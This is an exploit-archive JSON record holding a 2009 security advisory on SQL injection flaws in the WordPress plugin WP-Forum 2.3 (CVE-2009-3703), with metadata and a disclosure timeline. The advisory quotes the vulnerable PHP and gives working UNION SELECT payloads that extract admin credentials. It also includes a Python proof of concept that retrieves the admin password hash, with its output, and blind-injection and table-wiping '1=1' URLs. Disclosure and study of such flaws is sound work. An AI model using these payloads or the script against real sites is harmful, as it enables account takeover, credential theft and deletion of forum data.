{"exploit":{"id":"EDB-10488","name":"WordPress Plugin WP-Forum 2.3 - Multiple SQL Injections (SQLi)","description":"WordPress Plugin WP-Forum 2.3 - Multiple SQL Injections (SQLi)","cves":["CVE-2009-3703"],"author":"Juan Galiana Lara","published":"2009-12-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10488","path":"exploits/php/webapps/10488.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10488.txt","vulnerabilities":[{"id":"CVE-2009-3703","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in the WP-Forum plugin before 2.4 for WordPress allow remote attackers to execute arbitrary SQL commands via (1) the search_max parameter in a search action to the default URI, related to wpf.class.php; (2) the forum parameter to an unspecified component, related to wpf.class.php; (3) the topic parameter in a viewforum action to the default URI, related to the remove_topic function in wpf.class.php; or the id parameter in a (4) editpost or (5) viewtopic action to the default URI, related to wpf-post.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3703","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3703"},"updatedAt":"2024-08-07T06:38:30.209Z","retrievedAt":"2026-11-26T20:09:53.213Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10488.png?v=2","url":"https://exploitbin.com/exploits/EDB-10488","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10488/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10488/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"=============================================\nINTERNET SECURITY AUDITORS ALERT 2009-010\n- Original release date: September 28th, 2009\n- Last revised: December 15th, 2009\n- Discovered by: Juan Galiana Lara\n- CVE ID: CVE-2009-3703\n- Severity: 8.5/10 (CVSS Base Score)\n=============================================\n\nI. VULNERABILITY\n-------------------------\nWP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities\n\nII. BACKGROUND\n-------------------------\nWP-Forum is a discussion forum plugin for WordPress. It works with\nWordPress 2+ version and PHP >= 5.0\n\nIII. DESCRIPTION\n-------------------------\nWP-Forum fails to sanitized user supplied input and is vulnerable to\nSQL Injection and Blind SQL Injection. An attacker can obtain any data\nof the database including user logins and password's of the WordPress\ninstallation, allowing him to obtain access to the application and\ngain administration privileges.\n\nFor the SQL Injection vulnerability, is possible to concatenate other\nsql requests via \"union select\" sentence. The parameters \"search_max\"\nand \"forum\" are affected by this flaw.\n\nSnippet of vulnerable code:\n\nIn wpf.class file:\n\n1836     $option_max_days = $_POST['search_max'];       // <- this\nline is not being sanitized\n1837     $option_forums = $_POST['forum'];\n1838     if(!$option_max_days)\n1839              $option_max_days = 9999;\n1840     $op .= \" AND $this->t_posts.`date` > SUBDATE(CURDATE(),\nINTERVAL $option_max_days DAY) \";\n1841\n...\n1850     foreach((array)$option_forums as $f)\n1851             $a .= $f.\",\";    // <- <- this lines is not being\nsanitized\n1852\n1853     $a = substr($a, 0, strlen($a)-1 );\n1854     if(!$a)\n1855             $w = \"\";\n1856     else\n1857             $w = \"IN($a)\";\n1858\n1859     $sql = \"SELECT $this->t_threads.parent_id as pt,\n$this->t_posts.id, text, $this->t_posts.subject,\n$this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST\n('$search_string') AS score\n1860     FROM $this->t_posts inner join $this->t_threads on\n$this->t_posts.parent_id = $this->t_threads.id\n1861     WHERE $this->t_threads.parent_id  $w\n1862     AND MATCH (text) AGAINST ('$search_string') $op\";\n\nIn the case of the Blind SQL Injection, the vulnerable code is...\n\nIn wpf-post.php file:\n\n 57     $id = $_GET['id']; // <- $_GET['id'] is directly assigned\n 58     $thread = $this->check_parms($_GET['t']);\n 59\n 60             $out .= $this->header();\n 61\n 62     $post = $wpdb->get_row(\"SELECT * FROM $wpforum->t_posts WHERE\nid = $id\"); // <- id is used without clean up\n\nother example:\n\n1490     function remove_post(){\n1491             global $user_level, $user_ID, $wpdb;\n1492             $id = $_GET['id']; // <- $_GET['id'] is directly assigned\n1493             $author = $wpdb->get_var(\"SELECT author_id from\n$this->t_posts where id = $id\"); // id is used without clean up\n...\n1503             if($del == \"ok\"){\n1504                 $wpdb->query(\"DELETE FROM $this->t_posts WHERE id\n= $id\"); <- // id is used without clean up\n1505                 $this->o .= \"<div class='updated'>\".__(\"Post\ndeleted\", \"wpforum\").\"</div>\";\n1506             }\n1507             else\n1508                 wp_die(__(\"Cheating, are we?\", \"wpforum\"));\n1509\n1510     }\n\nthe \"id\" parameter is vulnerable in other parts of the source code..\n\nAlso, is possible to delete all records in table $this->t_posts and\n$this->t_threads because $_GET['topic'] is not properly sanitized,\ninjecting something like 1 or 1=1\n\n1479     function remove_topic(){\n1480             global $user_level, $user_ID, $wpdb;\n1481             $topic = $_GET['topic'];\n1482             if($this->is_moderator($user_ID, $this->current_forum)){\n1483                 $wpdb->query(\"DELETE FROM $this->t_posts WHERE\nparent_id = $topic\");\n1484                 $wpdb->query(\"DELETE FROM $this->t_threads WHERE\nid = $topic\");\n1485             }\n1486             else\n1487                 wp_die(__(\"Cheating, are we?\", \"wpforum\"));\n1488\n1489     }\n\nIV. PROOF OF CONCEPT\n-------------------------\nIn the url: http://example.com/blog/?page_id=3&wpforumaction=search\nreplacing 'page_id=3' parameter with the number of the WP-Forum page\nin each case\n\nIs possible to obtain any data of the database. Here is a proof of\nconcept to obtain user_pass, user_login and user_email of the user\nwith id=1 of wp_users table (normally admin).\n\nWe have to fill the search_max parameter with the value:\n\n9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1\nand subdate(curdate(), interval 9999\n9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1\nand subdate(curdate(), interval 9999\n9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1\nand subdate(curdate(), interval 9999\n\n## Exploit-DB Note: Try using \"999 DAY)\" if 9999 doesn't work in your environment.\n\nI wrote a PoC, to get automatically the password hash of the WordPress\nadmin account:\n\nuser () linuz:~$ cat wpforum2.3-poc.py\n#!/usr/bin/python\n\n# WP-Forum <= 2.3 SQL Injection PoC\n# Juan Galiana Lara\n# Internet Security Auditors\n\nimport urllib\nimport urllib2\nimport re\n\nurl = 'http://site//wordpress/?page_id=3&wpforumaction=search'\nvalues = {'search_words' : 'any',\n          'search_submit' : 'Search',\n          'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1\nfrom wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }\n\ndata = urllib.urlencode(values)\nreq = urllib2.Request(url, data)\nresponse = urllib2.urlopen(req)\noutput = response.read()\no = re.search('viewtopic.+>([$].+)<',output)\nif o:\n        print o.group(1)\n\nuser () linuz:~$ python wpforum2.3-poc.py\n$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/\nuser () linuz:~$\n\nThat's it!\n\nFor the blind sql injection, here are some examples:\n\nhttp://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0\nhttp://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0\n\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1\n\nhttp://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0\nhttp://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1\n\nIs possible to delete all topics, injecting sql code in \"topic\" parameter:\n\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1\n\nV. BUSINESS IMPACT\n-------------------------\nUnauthenticated users can obtain or delete any data of the database.\nThis flaw could result in get access to WordPress accounts including\nthe administrator one.\n\nVI. SYSTEMS AFFECTED\n-------------------------\nWP-Forum <= 2.3 are vulnerable.\n\nVII. SOLUTION\n-------------------------\nUpdate to version 2.4.\n\nVIII. REFERENCES\n-------------------------\nhttp://www.fahlstad.se/wp-plugins/wp-forum/\nhttp://www.wordpress.org/\nhttp://www.isecauditors.com/\n\nIX. CREDITS\n-------------------------\nThis vulnerability has been discovered by\nJuan Galiana Lara (jgaliana (at) isecauditors (dot) com).\n\nX. REVISION HISTORY\n-------------------------\nSeptember  28, 2009: Initial release.\nOctober    13, 2009: Review.\nOctober    19, 2009: Added CVE id.\nDecember   15, 2009: Last revision.\n\nXI. DISCLOSURE TIMELINE\n-------------------------\nSeptember  28, 2009: Vulnerability discovered\n                     by Internet Security Auditors.\nOctober    13, 2009: Sent to developers. No response.\nDecember   13, 2009: Contact again. Response about its correction.\nDecember   14, 2009: New version published.\nDecember   15, 2009: Advisory released to lists.\n\nXII. LEGAL NOTICES\n-------------------------\nThe information contained within this advisory is supplied \"as-is\"\nwith no warranties or guarantees of fitness of use or otherwise.\nInternet Security Auditors accepts no responsibility for any damage\ncaused by the use or misuse of this information.","sha256":"6673dac793b97be85ae6a8cdf3689ed5f239038ef5fa13980e237e87c8c18f4e","bytes":7882,"fetchedAt":"2026-11-26T20:09:51.025Z","encoding":"utf-8 (display only; download retains original bytes)"}